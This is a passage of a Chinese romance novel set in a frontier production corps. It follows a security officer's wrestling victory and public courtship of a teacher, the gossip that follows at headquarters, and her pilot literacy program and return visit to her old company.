陈远疆凝神应对,不敢大意。果然,对方抓住陈远疆因连续战斗反应稍慢的瞬间,一个迅疾的低扑,抱住了他的左腿,猛地向上抬,这是摔跤里极其危险的动作。 “小心!”舒染忍不住低呼出声。 陈远疆重心失衡,眼看就要被掀翻,他被抱住的左腿猛地蹬地,借力旋身,右腿扫向对方的脚踝,同时腰部发力,硬生生在半空中扭转了颓势。 一声轻响,那敏捷的年轻人抱腿的力量一松,陈远疆趁势挣脱,两人几乎同时倒地,但陈远疆是在控制下的侧滚翻,迅速站起,而对方则摔得有些狼狈。 按照规则,一方背部着地才算输。这一次算是平手,但明眼人都看得出,陈远疆更胜一筹。那年轻人爬起来,揉了揉脚踝,对陈远疆抱拳行礼,眼中满是佩服,主动退出了比赛。 经过这三轮激战,陈远疆的体力消耗巨大,额发已被汗水浸湿。一时间竟无人再敢上场。 就在这时,之前邀请他的丽德孜站了起来。她脱下外面的红色衣裙,露出里面利落的骑马服,大步走到场中,朗声道:“解放军大哥果然厉害!我丽德孜也练过几年摔跤,想跟你讨教最后一局!你要是还能赢了我,那匹马才真正算是你的本事赢来的!” 众人哗然。女子下场摔跤虽不常见,但在一些开放的部落也并非没有先例,尤其是像丽德孜这样性格泼辣的姑娘。 陈远疆看着面前的丽德孜,眉头微蹙。与女性动手,于他而言更为不便。 舒染的心也再次提了起来。她看得出,陈远疆体力消耗很大,丽德孜显然是想趁此机会,而且女子摔跤规则可能更不同。 陈远疆看向舒染。舒染读懂了他眼中的询问,她再次轻轻点头,眼神里传递着:无论输赢,你都是我的英雄。 得到她的回应,陈远疆转回头,对丽德孜道:“请。” 丽德孜的摔跤风格与她性格一样,泼辣迅疾,而且更注重技巧和柔韧性。 她不像前几个对手那样硬碰硬,而是不断试图贴近,用绊、锁等小技巧。陈远疆顾忌对方是女性,许多招数不能用,一时间竟有些束手束脚,几次险些被丽德孜钻了空子。 场面一度陷入胶着。丽德孜如同灵巧地围着陈远疆出击;陈远疆则步步为营,谨慎防御。 突然,丽德孜找到一个机会,再次贴近,双手抓住陈远疆的手臂,身体下潜,就要使出一个背摔动作,这一下若是让她得逞,以陈远疆此刻的体力状态,很可能无法化解。 陈远疆眼中精光一闪,他顺着丽德孜发力的方向,身体微微一侧,同时被抓住的手臂一旋一抖,用的竟是类似太极的技巧,瞬间卸掉了丽德孜大部分力道,同时另一只手轻轻在她腰侧一托,帮她稳住因发力过猛而有些失衡的身形。 丽德孜只觉得一股力量传来,她的背摔动作戛然而止,整个人被带得转了小半圈,稳稳站住。 而陈远疆也借此机会,脱离了她的控制范围。 两人分开,丽德孜愣了一下,随即明白了。陈远疆刚才完全可以用更粗暴的方式破解甚至反击,但他选择了最能保全她面子的方式。 丽德孜脸上的争强好胜之色褪去,取而代之的是敬佩。她抱拳,用汉语大声说:“解放军大哥,好身手,好气度!我丽德孜输了!” 这一刻,全场响起了掌声和欢呼。 陈远疆站在场中向四周颔首致意,他汗水涔涔的脸上带着疲惫和一丝如释重负。 白胡子老者笑着走上前,大声宣布陈远疆是本次的获胜者。 那匹作为奖品的骏马被牵到了场中央,那是一匹毛色油亮、四肢修长的白色骏马。 所有人都看着陈远疆。 陈远疆却没有立刻去牵那匹马。他站在场地中央,微微平复了一下呼吸,做了一个暂停的手势。 现场渐渐安静下来,众人不解地看着他。 陈远疆的目光穿过人群,看向舒染说道:“感谢主人的厚礼。” 他先表达了感谢,然后话锋一转,语气变得无比郑重,“但是,在接受这份厚重的礼物之前,有一件对我而言,比赢得比赛更重要的事情。” 他顿了顿,视线在舒染的眼眸上停留,继续说道:“我想借这个机会,郑重地向一位同志表达我的敬意和……感激。” “在我心里,她就像指引方向的星辰。今天我能站在这里,离不开她的支持与信任。” 所有人的目光,不由自主地顺着他的视线,投向了毡房门口的舒染。 舒染的心跳得飞快,她完全明白陈远疆在做什么。 他不是在莽撞地公开,他是在搭建一个台阶,一个需要她亲自走上来,与他并肩而立的台阶。 他把选择权,完完全全地交到了她的手里。 他在用他的方式问她:舒染,你愿意吗?愿意在这些人面前,承认我们之间的关系吗? 现场一片寂静。 丽德孜看着陈远疆那充满尊重意味的眼神,又看了看虽然羞涩却目光清亮的舒染,似乎明白了什么,眼中闪过一丝敬佩。 舒染看向自己的心意:是继续保持同志的距离,还是…… 舒染看着场中那个浑身汗湿的男人,看着他眼中那小心翼翼的期待,心中的犹豫消散。 她在所有人的注视下站起身,迎着陈远疆的目光点了点头。 这动作胜过千言万语。 是许可,是回应,是与他并肩面对一切的勇气。 陈远疆看到她点头,看到她脸上的笑容,一直紧绷的心弦彻底松开了。他那张惯常冷硬的脸上露出了笑容,那笑容甚至带着点傻气,让他看起来像换了个人。 他不再犹豫,转身从老者手中接过了那匹白马的缰绳,然后牵着马大步走向舒染。 他走到她面前将缰绳递向她,“这匹马,是我们一起赢的。” 舒染明白,这既是对她刚才那个点头的回应,也是对他们关系最准确的定位——他们是战友,是伙伴,是将会携手同行的人。 舒染笑着伸出手,轻轻拍了拍马的脖颈,然后抬眸看他,“那以后,它可得载着我们两个人赶路了,陈副处长。” 这句话让陈远疆眼底的笑意更深。他重重地“嗯”了一声。 “噢——!”直到这时,周围屏息凝神的牧民们才开始起哄。 草原儿女性情奔放,对于这样直接而真诚的情感表达,他们报以最大的善意和理解。许多人都笑着看向舒染,目光友善。 白胡子老者抚须大笑,用哈语对身边人说:“原来雄鹰的心早有归属,是另一位高飞的鸟儿!” 丽德孜也端起一碗酒,笑着对舒染示意,大声用汉语说:“舒老师,陈大哥,祝福你们!像草原上的蓝天和白云,永远相伴!” 第125章 舒染和陈远疆一行人回到X师师部, 比原计划晚了一天。 陈远疆和舒染在草原上的“佳话”几乎在他们踏进师部大院的同时就传开了。传播的主力自然是亲眼见证了那场摔跤和官宣的指导组组员们。 年轻人藏不住事,尤其是这样浪漫又带着英雄色彩的故事,经过几分渲染, 更是绘声绘色。 “陈副处长那摔跤,真叫一个厉害!连挑四个好手, 最后一个还是草原上最泼辣的姑娘!” “你们是没看见,陈副处长赢下比赛后,没先去看马, 而是直接看向舒组长!那眼神温柔得我可是第一次见!” “没想到陈副处长平时那么冷硬的一个人,谈起恋爱来这么……” 各种细节在食堂、在宿舍、在办公室被反复讨论。 陈远疆和舒染,一个是师部年轻有为、背景特殊又冷峻难近的保卫处副处长,一个是刚刚载誉归来、风头正劲的教育科新星, 这两人的组合在一起, 让人觉得反差极大, 极具话题性。 这阵风, 最先吹到的自然是教育科。 舒染踏进办公室时, 迎接她的是小张干事难掩兴奋的询问:“舒组长, 听说……陈副处长为了你,在草原上摔跤赢了一匹骏马?” 舒染脸上微热, 神色却是从容,她一边整理着巡回指导的报告, 一边轻描淡写:“是参加了当地婚礼的活动,尊重习俗而已。” 她四两拨千斤, 将私人话题引回了工作范畴。然而, 科里气氛的微妙变化她心知肚明。舒染并不在意,她深知唯有工作实绩才是最硬的底气。 她很快专注于汇报材料的准备中,让一些想看“恋爱中的舒组长会有什么变化”的人暗暗咋舌。 这消息自然不会绕过孙处长。 办公室里, 孙处长端着茶杯,听着科里几个年轻干事兴奋地议论,脸上没什么特别的表情,只是眼里闪过了然和满意。他放下茶杯,敲了敲桌子:“行了行了,工作都做完了?舒染同志和陈远疆同志都是优秀的革命战友,他们互相支持、共同进步,这是好事!都把心思放在正道上,别议论这些了。” 打发走年轻人,孙处长独自坐在办公室里,手指轻轻敲着桌面。他想起舒染这次巡回指导的成绩,想起《首都画报》的报道,再联想到她和陈远疆如今的关系…… 陈远疆背后站着谁,他心里清楚。 这对舒染来说是机遇,也可能伴随新的审视。不过,以舒染的能力和心性,再加上陈远疆那小子……孙处长觉得,这未必是坏事。 他琢磨着,年底的各项评优表彰,是不是该更积极地给舒染争取一下了?这样的典型,必须树起来。 几乎在同一时间,消息也传到了林副政委的家里。 晚饭时分,林副政委听着夫人略带兴奋地说起听来的八卦,眉头动了一下。 “老林,你说这事儿……小陈和那个舒染,还真成了?我记得远疆那孩子,原先不是一直跟着京里那位老首长的吗?这找对象的事儿,老首长那边……”林夫人有些担忧。 林副政委夹了一筷子菜嚼着,没有立刻回答。他放下筷子,擦了擦嘴,才缓缓道:“远疆是成年人,他的个人问题,组织上不干涉,老首长那边……想必也是尊重他个人选择的。” 他语气听不出喜怒,“至于舒染同志,是个好同志,有能力,有闯劲,这次巡回指导和外宾接待,都完成得很出色。年轻人互相吸引,共同进步,是正常现象。” 他话虽这么说,但眼神深处却满是考量。陈远疆姑且算是老首长的养子,深得那位老首长看重,其婚姻对象,在老首长那个层面看来,绝非单纯的个人问题。舒染出身资本家家庭,这是硬伤,但她本人能力突出,如今更是做出了亮眼的成绩,在兵团乃至更高层面都挂了号,这又是个加分项。 这里面微妙的政治平衡……林副政委觉得,自己需要更审慎地观察和对待舒染了。既不能过分亲近惹人闲话,也不能刻意疏远得罪了潜在的关系。他暗自决定,在接下来的工作中,对舒染该有的支持一样不少,但私下接触要把握分寸。同时,也要提醒一下自己那个侄子林雪舟。 而在宣传科,杨振华听到同事带着打趣意味的转述时,正在整理巡回指导组的宣传稿。他拿着钢笔的手顿了一下,笔尖在稿纸上洇开一小团墨迹。 他沉默了几秒,若无其事地继续书写。 同事小刘凑过来,挤眉弄眼:“杨干事,听说了吗?教育科那位舒组长,和保卫处陈副处长……” 杨振华头也没抬,语气平淡:“嗯,听说了。郎才女貌,很般配。” “哎,你之前不是对舒组长……”小刘话没说完,就被杨振华一个眼神制止了。 杨振华抬起头,脸上是惯有的温和笑容,“小刘,这种没有根据的话不要乱说。我和舒染同志是正常的同事关系,我很欣赏她的工作能力。现在她和陈副处长志同道合,我作为同事,唯有祝福。” 他说得坦荡磊落,倒让小刘有些不好意思了。 杨振华低下头,继续工作。他心里确实有些怅然若失,但更多的是一种释然。 他看得出陈远疆对舒染的在乎,也明白舒染那样的女子,需要的正是陈远疆那样敢于为她豁出前途男人。他杨振华自问做不到那样。 既然如此,不如大大方方祝福。 保卫处这边与教育科那边几乎摆在明面上的讨论不同,关于陈副处长的八卦传得有些隐秘。没人敢在陈远疆面前提及半个字。 然而,细微的变化还是被几个和陈远疆关系近一点的同事捕捉到了。 陈副处长办公室那部黑色的老式手摇电话,以前响起的频率很有规律,多是上级指示或下级汇报。 但最近,偶尔会在临近下班,或者午休刚过的时候,响起那么一两次。接电话时,陈远疆的声音依旧是那个调子,平稳得听不出情绪。 “嗯。” “知道了。” “好。” 但有一次,老部下李干事抱着一摞文件,恰好在门口听到陈远疆对着话筒,用比平时似乎低了半度、放缓了半拍的声音说了句:“……在办公室。你自己注意时间,别又错过饭点。” 李干事心里跟明镜似的。都不用猜陈副处长这是在跟谁通话,整个师部,能让他用这种语气提醒的,除了刚回来的那位舒组长,找不出第二个人。 陈副处长的工作按部就班,边境巡逻、内部安保、会议部署,一项接一项。更有细心的人发现,如果哪天教育科那边有比较重要的会议或者活动,陈副处长当天的外勤安排,只要不是紧急事,总会恰好错开那个时间段,他人一定在师部。 那匹从草原赢回来的白马被临时安置在师部马厩。陈远疆偶尔会过去。以前他去马厩,纯粹是检查工作。现在他去看那匹马,又是亲自喂料,又是给马洗刷清洁,有次马厩的老兵看见陈副处长看着那匹马,眼神放空了好久,嘴角有上扬的趋势,虽然转瞬即逝,但也足够让老兵揉揉眼睛,怀疑自己是不是眼花了。 真正让几个老部下确认“铁树真的开了花”的,是那天下午。舒染带着教育科的人在大院里布置宣传栏,展示巡回指导的成果和照片。 天气有些转阴,风刮得有点大,吹得展板哗哗作响,几张照片险些被吹走。舒染和几个同事手忙脚乱地固定着。 这时,陈远疆和两个干事正从办公楼里出来,看样子是去执行任务。就在他经过宣传栏附近时,一阵强风猛地刮过,舒染手里拿着一卷用来固定的胶布,没拿稳,咕噜噜滚到了路中间,正好停在陈远疆脚边。 所有人都看到了这一幕。 舒染有点尴尬,刚要自己跑过去捡。 只见陈远疆弯下腰,顺手就将那卷胶布捞了起来,手臂一扬,那卷胶带划过一个抛物线,精准地落在了舒染身前的材料箱里。 整个动作行云流水,他甚至连头都没侧一下,径直上了吉普车,关门,车子发动,离开。 保卫处跟着他的那两个干事,心里都跟明镜似的。以陈副处长那冷硬的性子,若不是极度在意,他根本不会理会这种闲事,更别说还用上了投掷技巧,确保东西能落到该落的地方,避免了她再弯腰去捡的麻烦。 下班后,李干事忍不住在只有几个老兄弟的小圈子里感叹:“咱们陈副处长,这是真栽了啊……以前哪见过他这样?” 另一个笑道:“栽得好!舒组长那样又漂亮又有能力,完全的配得上!我看陈头儿最近脸色都没那么冻人了。” “嘘……小声点!让他听见,下回巡逻专挑最难走的路线!” 这天中午,舒染因为整理材料,到食堂时已近尾声。偌大的食堂空旷了不少,她一眼就看到了坐在靠窗位置的陈远疆。他依旧是和保卫处的几个干事一桌。 几乎在舒染走进来的瞬间,陈远疆就像有所感应般抬起了头。他的目光穿过人群精准地捕捉到她。 舒染面色如常地走向打饭窗口。打好饭,教育科的同事早已散席。她目光扫过食堂,几乎没有犹豫,便端着饭盒落落大方地走向了陈远疆那一桌。 他们的关系既然已在草原上过了明路,便无需再刻意避讳。 桌上正还在交谈的保卫处干事们看到她走过来,声音不约而同地低了下去,看向舒染的眼神里带着好奇。 李干事反应最快,立刻往旁边挪了挪,热情地招呼:“舒组长,这边坐!” 舒染微笑着道谢,在空位坐下,位置正好在陈远疆的斜对面。 她刚落座,陈远疆便用寻常语气开口:“才忙完?” 这三个字让在座几个竖起耳朵的干事心里同时“哦豁”一声。 舒染正打开饭盒,闻言抬头,对上他的视线,自然地回答:“嗯,刚把材料整理好。”她拿起勺子,随口问,“你们今天结束得挺早?” 这话是对着桌上所有人说的,目光却停在陈远疆脸上。 “下午有个边境情况分析会,提前了点。”陈远疆接过话,目光落在她饭盒里的炒青菜上。 桌上气氛活跃起来,李干事趁机插话:“舒组长,听说《首都画报》的报道快刊发了?到时候可得让咱们都看看啊!” “没问题,等刊物到了,第一时间送到保卫处请大家指正。”舒染笑着回应。 这时,陈远疆似乎不经意地将手边那盘几乎没动过的油润鲜亮的肉菜往桌子中间推了推,动作自然得像只是调整一下菜盘的位置。然后他拿起自己的水壶,拧开喝了一口,视线重新回到自己碗里。 但坐在他旁边的李干事看得真切,那盘肉推过去的方向,明显更靠近舒染那边。 李干事内心狂喊:你平时可是最讨厌别人动你菜盘的!尤其是肉! 舒染也看到了那个被推过来的盘子,以及他随后故作无事喝水的样子。 她嘴角弯了一下,没有立刻去夹,而是先吃着自己打的菜。过了片刻,才很自然地伸筷子,从那盘肉菜里夹了一块,放进自己碗里,轻声说了句:“这菜看着不错。” 陈远疆没应声,也没抬头,但握着水壶的手指松了些。 这互动全落在桌上其他人眼里。 陈远疆很快吃完了,他对桌上众人说道:“我吃好了,你们慢慢吃。舒染,”他顿了一下,语气如常地提醒,“下午教育科不是还有个总结会?别迟到。” “知道,来得及。”舒染点点头。 陈远疆不再多言,起身离开。 舒染继续吃着饭,偶尔回应一下李干事他们关于报道的好奇提问。 这股关于恋情的议论热潮,在师部持续了几天,便渐渐被时间所冲淡。而就在这时,一个消息开始在师部流传:鉴于舒染同志在基层教育创新、巡回指导、以及成功接待外宾、获得《首都画报》关注等一系列突出贡献,兵团层面正在考虑,授予她本年度的“劳动模范”称号。 消息灵通人士开始活跃起来,出现了各种分析和猜测。人们这才意识到,舒染凭借自己的业绩,又走向了一个新高度。 第126章 师部教育科的办公室里。 舒染伏在案头正在起草一份关于流动教学点建议的报告, 桌角堆着厚厚一摞各团报送上来的材料和数据。 “舒干事,”对面桌的吴建国抬起头,推了推眼镜, “Z团那边报上来的扫盲结业率,我看着有点水分。去年冬天他们那边雪灾, 实际教学时间不足,这数字漂亮得有点离谱。” 舒染抬眼看了看他:“把他们的教学日志和考核原始记录调出来核对。重点看签字是否一致,时间逻辑能否对上。数字可以美化, 但细节骗不了人。” 吴建国愣了一下,似乎没想到舒染反应如此迅速且切中要害,连忙应了声:“哎,好, 我这就去查。” 舒染低下头, 继续写她的报告。她很清楚, 自己这个典型立起来, 盯着的人很多。工作必须做得更扎实, 才能堵住悠悠之口, 才能真正推行她的想法。利己?她从不否认。只有在这个位置上坐稳了,才能做更多想做的事, 保护好她在意的人和事业。 下班铃响过一阵,办公室里的人渐渐走光。舒染揉了揉发胀的太阳穴, 准备把最后一段写完。 门口传来熟悉的脚步声。她没抬头,嘴角却微微弯了一下。 陈远疆走到她桌边, 放下一个用旧军布包着的东西, 发出咔哒一声。 “什么?”舒染这才放下笔,看向那个方方正正的包裹。 “打开看。”陈远疆站在一旁,目光落在她略显疲惫的脸上, 眉头皱了皱。 舒染解开布包,里面露出一台马蹄钟,玻璃表盘干净透亮,时针分针稳稳走着。 “这是?” “后勤科清理仓库,替换下来的。我想着你写报告、规划教学进度,有个钟看时间方便点。”陈远疆的语气像在陈述一件再普通不过的公事,“抬眼就能看,比看手表方便点。” 舒染心里一动,她抬头对上陈远疆的目光。 “谢谢。”她没多推辞,手指拂过玻璃表盘,“确实需要。孙处长催报告催得紧,我正愁时间安排。” “嗯。”陈远疆应了一声,视线扫过她桌上摊开的报告,“遇到难处了?” “难处一直有。”舒染把钟摆正,“各团情况差异大,想搞一套既能推广又能适应地方的标准真不容易。师资、教材、时间协调……都是问题。”她像是在自言自语,又像是在向他倾诉。 陈远疆沉默地听着,半晌才开口:“需要我做什么?” 舒染笑了,带着点狡黠:“陈副处长,你这算不算以权谋私?” 陈远疆脸上掠过一丝不自在,很快又恢复平静:“保卫处的工作,也包括保障生产建设的顺利进行。教育扫盲,是重要的一环。”他说得义正辞严,耳根却有点泛红。 舒染见好就收,不再逗他:“暂时不用。等我理清楚,需要借你这张虎皮扯大旗的时候,自然不会客气。” 这时,走廊传来杨振华和别人的说笑声,越来越近。 陈远疆立刻后退了半步,与舒染拉开了些距离空间。 “你忙,我先走了。”他转身大步离开,与进门的杨振华擦肩而过时,微微颔首。 杨振华走进来,看着陈远疆的背影,又看看舒染桌上那台突兀的马蹄钟,眼神复杂了一瞬,随即换上笑容:“舒染,还没走?孙处长让我问你,报告大概什么时候能好?兵团那边等着要。” “最快后天。”舒染重新拿起笔。 “需要帮忙吗?” “谢谢,暂时不用。”舒染笑笑,低下头继续忙起来。 杨振华点点头,随后便离开了。 办公室里重归安静,只有马蹄钟规律的滴答声。舒染看着那跳动的秒针,知道自己选的这条路不容易,但她觉得自己还能再往前多走几步。 她重新投入到报告中。 几天后,舒染的报告初稿完成。她带着稿子去找孙处长汇报。 孙处长看得仔细,不时提出问题。 “因地制宜分级管理,这个思路是对的。但师资培训这块,你打算怎么落实?特别是牧区,语言就是第一大关。” 舒染早有准备:“处长,我建议从各团、连队内部挖掘。有些少数民族同志汉语不错,又有文化基础,可以集中短期培训,作为牧区教学点的骨干。另外,我们可以编印一些双语对照的简易教材和图册,降低教学门槛。” “钱呢?物资呢?”孙处长一针见血,“印刷教材要纸要油墨,集中培训要吃喝住行,这些开销,后勤那边能批下来?” 舒染从文件夹里又抽出一张纸:“这是我初步做的预算和物资申请清单,已经尽量压缩。处长,我们可以先搞试点,范围小一点,效果出来了,后续申请资源也更有底气。而且,”她顿了顿,声音压低了些,“我听说兵团今年有专项教育经费下来……” 孙处长惊讶地看了她一眼:“你消息倒灵通。” 舒染笑笑,没说话。消息来源,自然是某个“以权谋私”的保卫处副处长。陈远疆从不直接插手她的工作,但总会“不经意”地提供一些关键信息,让她能提前布局。 “报告先放我这里。”孙处长最终拍了板,“我再斟酌一下。不过舒染,你要有心理准备,就算试点批下来,压力也会全部落到你头上。成了,是分内之事;不成,之前所有的成绩都可能被质疑。” “我明白。”舒染神色平静。她当然知道风险,但更知道机遇稍纵即逝。 从处长办公室出来,在走廊拐角,陈远疆等在那里,像是偶遇。 “怎么样?”他问,目光扫过她脸上的神情。 “等着挨批呢。”舒染故作轻松地耸耸肩,“孙处长嫌我要钱要多了。” 陈远疆看着她,忽然说:“Z团七连,有个叫艾尼的退伍兵汉语很好,在连队当记分员。Y团畜牧队,有个叫萨仁的姑娘,上过初中,心细,画画也好。” 舒染脚步一顿,抬眼看他。 陈远疆目视前方,声音平稳:“只是正好看到档案。用人是你的事,你自己考察。”说完,他便转身走向另一个方向。 舒染看着他的背影,无奈地笑笑。他总是把最难获取的信息,用最不经意的方式递到她手边,给她支持,却从不干涉她的决策。 试点方案经过几轮讨论和修改,最终还是批下来了,规模比舒染申请的要小,只覆盖了师部附近的三个团,包括畜牧连所在的团。资源也打了折扣,但终究是开了口子。 舒染立刻投入具体工作,选拔培训师资,组织编写简易教材。她忙得脚不沾地,经常很晚才回宿舍。 这天夜里,她拖着疲惫的身子回来,发现门口放着一个小布袋,打开一看,是几个洗得干干净净的苹果,旁边还有一小包炒熟的南瓜子。 她拿起一个苹果咬了一口,靠着门框,望着师部院子里清冷的月光,心里因为奔波劳碌产生的孤独感,被一点点填满。 然而,就算试点工作刚刚走上轨道后也不是那么一帆风顺。 师部的一次例行工作会议上,有人突然发难。 “孙处长,我听到一些反映,关于我们现在推行的这个流动教学点试点。”发言的是后勤科的一位副科长,姓李,“下面有同志说,舒染同志搞的这一套,形式大于内容,为了出风头,浪费了不少宝贵的物资。特别是那些印的教材,印得花里胡哨,能认几个字?还不如多印点语录实在!” 会议室的目光瞬间聚焦到舒染身上。 孙处长脸色不变:“李副科长,具体是哪些同志反映?有什么具体事例吗?” 李副科长语塞了一下:“这个……我也是听说,反映的人不少。毕竟舒染同志年轻,又是女同志,想法多点是好事,但也要注意影响,考虑实际嘛。” 这话说得阴阳怪气,暗指舒染资历浅、性别弱势,且工作不踏实。 舒染放在膝盖上的手微微握紧,但脸上依旧平静。她早就料到会有这么一出。 “李副科长,”她开口,语气不带丝毫火气,“您提到的教材,主要是看图识字卡片和结合生产生活的简单语句。目的是让牧区和偏远连队的职工、家属和孩子,能最快地把字和具体事物、行动联系起来。印语录当然重要,但让群众先认识与自身生产生活最相关的字,是不是更能激发学习兴趣,也更符合实事求是的原则?” 她顿了顿,目光扫过与会众人:“至于浪费物资,试点所有纸张油墨都有登记,每一笔去向都可查。如果李副科长有兴趣,可以随时来查阅账目。如果确实存在浪费,我舒染负全责。但如果只是因为听说和觉得,就否定一种正在尝试、并且初步看到效果的工作方法,我认为,这对群众,对那些在艰苦条件下坚持教学的同志们,是不公平的。” 她的话有理有据,不卑不亢,直接把李副科长顶了回去。 会议室里一片安静。有人面露赞许,有人不动声色。 孙处长清了清嗓子:“舒染同志的解释很清楚了。试点工作是在师部批准下进行的,有问题可以提具体意见,不要空泛地扣帽子。继续下一个议题。” 会议结束后,舒染走在回去的路上,心情并未完全放松。她知道,这只是开始。李副科长背后是谁还不清楚,这次发难,恐怕只是个试探。 “舒染。”陈远疆的声音从身后传来。 她回过头。 他走到她身边,并肩而行。 “需要我……”陈远疆的话没说完,但意思明确。 “不用。”舒染打断他,“这点风浪都经不起,以后怎么做事?” 陈远疆看着她的侧脸,嗯了一声,没再坚持。 第127章 试点工作在有惊无险中持续推进。舒染顶住了压力。她亲自跑遍了试点范围内的每一个教学点, 听课,与学员、□□交流,收集第一手反馈。 在Y团的一个牧区教学点, 她看到培训过的萨仁姑娘,正用自制的沙盘教孩子们写字, 孩子们学得津津有味。 在Z团七连,艾尼用流利的汉语和哈语,给牧工们讲解工分票和日常用品的名称, 颇有成效。 这些成果渐渐压过了那些不和谐的声音。 期间,舒染特意挤出了两天时间,回一趟畜牧连。 吉普车在熟悉的颠簸土路上扬起烟尘,当那片在盐碱地上的连队建筑、尤其是那面在启明小学上空飘扬的国旗映入眼帘时, 舒染的心仿佛被什么东西撞了一下, 酸涩而温暖。 车子刚在连部门口停稳, 最先发现她的不是大人, 而是正在空地上玩羊拐骨的虎子。 “舒老师?!是舒老师回来啦!”虎子愣了一秒, 随即冲过来, 声音扯得老高,瞬间传遍了半个连队。 几乎是同时, 启明小学那间教室里像是炸开了锅。石头第一个冲出来,身后跟着栓柱、春草、小丫, 还有更多大大小小的孩子,他们呼啦啦地围了上来, 瞬间把舒染围在了中间。 “舒老师!舒老师!” “舒老师, 你可回来啦!” 孩子们七嘴八舌地叫着,脏兮兮的小脸上洋溢着笑容。有的孩子不敢像虎子那样直接扑上来抱,但都挤在最前面, 仰着头,眼睛亮晶晶地看着她,仿佛在看一个消失了很久的亲人。 舒染的心瞬间被孩子们的真挚填满。她蹲下身,摸了摸离她最近的春草和小丫的头,又看向明显沉稳了许多的石头:“石头,带着大家先回教室,我一会儿就过去检查你们功课,好不好?” “好!”石头响亮地应了一声,颇有小干部的样子,开始努力维持秩序,“都回去坐好!舒老师说了,一会儿检查功课!” 孩子们这才依依不舍地地往教室挪。 这时,听到动静的大人们也陆续赶了过来。 王大姐手里还拿着和面的盆,围裙都没解,看到舒染,眼圈立刻就红了,几步上前,一把抓住舒染的手,上下打量着:“哎哟!可算回来了!瞧着……瞧着是瘦了点,师部那边吃得不咋好吧?” “王大姐,我挺好,没瘦。”舒染反握住她粗糙的手,心里踏实了大半。 李秀兰也从豆腐坊跑来,手上还沾着豆渣。她比王大姐含蓄些,但眼神里的喜悦藏不住,细细看着舒染的穿着和气色都很好,眼神里多了些在连队时没有的从容。 “舒老师,”她声音轻柔,“大家都念着你呢。” “秀兰,豆腐坊还好吗?扫盲班没落下吧?”舒染笑着问,她知道李秀兰最关心什么。 “好着呢!按你信里说的,我们现在都能认不少字了,记账也清楚多了!”李秀兰语气里带着自豪。 舒染目光下意识地扫了一眼,没有看到那个知识分子身影,看似随意地问了一句,“林老师呢?又在忙着写规划?” 王大姐快人快语,撇了撇嘴:“嗨!早走啦!你刚去师部没多久,调令就下来了,说是回大地方了?反正啊,人家是坐办公室的料,跟咱们这土坷垃地方待不长!” 李秀兰补充道:“走的时候挺匆忙的,连行李都是后来让人来取的。不过他把教室的钥匙交给石头了,说……说让等舒老师你回来安排。” 舒染眼神微动,心里瞬间明晰。林雪舟的调离,在她意料之中。林副政委怎么可能真让侄子长期扎根在最基层?当初派他来,既有磨砺之意,恐怕也未尝没有在示范点这块蛋糕上提前布局的打算。 只是没想到,她在师部站稳了脚跟,成绩斐然,这反而加速了林雪舟的离开。或许是林副政委觉得这里不再是最佳跳板,或许是另有更合适的位置需要他去填补。 舒染脸上不动声色,只是淡淡一笑:“林老师有更重要的任务,是好事。咱们学校按部就班就好。君君呢?怎么没见她?” 李秀兰声音更低了些,“许医生……她调走了。” 舒染脸上的笑容一凝。虽然早有心理准备——许君君之前在信里提过团部卫生队缺人,可能会调她过去。但亲耳听到确认,心里还是空了一块。 那个在她最艰难时给予帮助和情感支持的上海同乡,那个会和她一起偷偷找水擦洗、分享心事的姑娘,到底还是离开了这个最基层的连队。 “什么时候的事?”舒染问,声音还算平稳。 “就上月的事。”王大姐接过话,叹了口气,“调令来得急,团部卫生队点名要的。走的时候,君君那丫头还哭了呢,舍不得大家,更舍不得你。她给你留了信,在我那儿放着。” 舒染点了点头,心头那股归家的喜悦里,掺入了一丝怅惘。 成长的代价,似乎总伴随着离别。 这时,更多闻讯赶来的家属围了过来。 张桂芬拉着刚入学不久的小儿子,远远就喊:“舒老师!好久没见你了啊,怪想你的!” 王红花也凑过来,递上一个还带着泥土的萝卜:“舒老师,自家种的,尝尝!” 舒染一一回应着,感谢着。她注意到,很多人看她的眼神,除了以往的亲切,还多了一层。 她在师部做的事显然早已通过各种渠道传回了连队。他们或许不完全明白,但他们知道,他们连队的舒老师,在外面干了大事情,给畜牧连长了脸。这种敬佩甚至是一种与有荣焉的骄傲。 当舒染被簇拥着走向连部,遇到闻讯出来的刘书记和马连长时,情况又不同了。 “舒染同志!欢迎回来!哈哈,你现在可是我们连队的光荣代表!”刘书记用力地和她握手,脸上是毫不掩饰的赞赏,“给咱们畜牧连争光了!” 马连长也笑呵呵的:“就是!老赵刚才还念叨呢,说有你在,咱们连申请个啥教学物资,腰杆都能挺直三分!” 正说着,赵卫东也从不远处走过来,“舒染同志,回来了?嗯……那个,生产学习结合那个法子,最近试行下来,工地上认字的速度是快了点。” 舒染心里明镜似的,知道赵卫东态度的转变,很大程度上源于她带来的附加价值。她笑着回应:“谢谢连长、书记,还有赵主任。成绩是大家一起干出来的,我就是把大家的努力汇报了上去。” 在连部简短寒暄后,舒染迫不及待地走向启明小学。教室里,孩子们果然端坐着,但小脑袋都不时地往外探。 舒染走进教室,站在讲台上看着下面一张张小脸,用一种分享秘密般的语气说:“同学们,老师这次出去,看到了很多有意思的东西。比如,有一种印着彩色图画的纸,叫画报,上面能看到北京的天安门;还有一种机器,能把字印在纸上,比我们手抄快多啦……” 她描绘着外面的世界,孩子们听得入了迷,眼睛瞪得大大的。 “……老师把这些,还有我们启明小学怎么从只有一个破棚子,变成现在这样,怎么让大家都能认字读书的事情,告诉了外面更大的领导。领导们听了,都说我们做得对,做得好!还给了老师这个——”她拿出了一枚奖章展示给孩子们看。 “哇!”孩子们发出惊叹。 “老师,你真厉害!”虎子忍不住喊道。 舒染收起奖章,神色认真起来:“这枚奖章,不只是给老师一个人的。因为我们启明小学每一个努力向上的孩子,才得到的!它是我们所有人的光荣!” 她的话点燃了每一个孩子的奋斗心。他们挺直了小胸脯,脸上洋溢着激动和自豪。 放学后,舒染特意留了下来,和王大姐、李秀兰在教室里聊了许久。她详细说了师部的情况,说了接下来的打算,也认真听了连队和学校这段时间的变化。 夜幕降临,舒染回到自己那间小小的土坯房宿舍。王大姐早已帮规整好了一切,李秀兰偷偷在她枕头下塞了一小包新炒的南瓜籽。屋子里还和她离开时差不多,但处处透着被维护过的痕迹。 她抚摸着土墙,看着窗外连队零星闪烁的灯火,听着远处隐约传来的狗吠。这里没有师部的规整,但这里是她事业的起点,是她倾注了无数心血的地方,是她在这个时代真正意义上的家,是她能够不断向上爬的力量和底气。 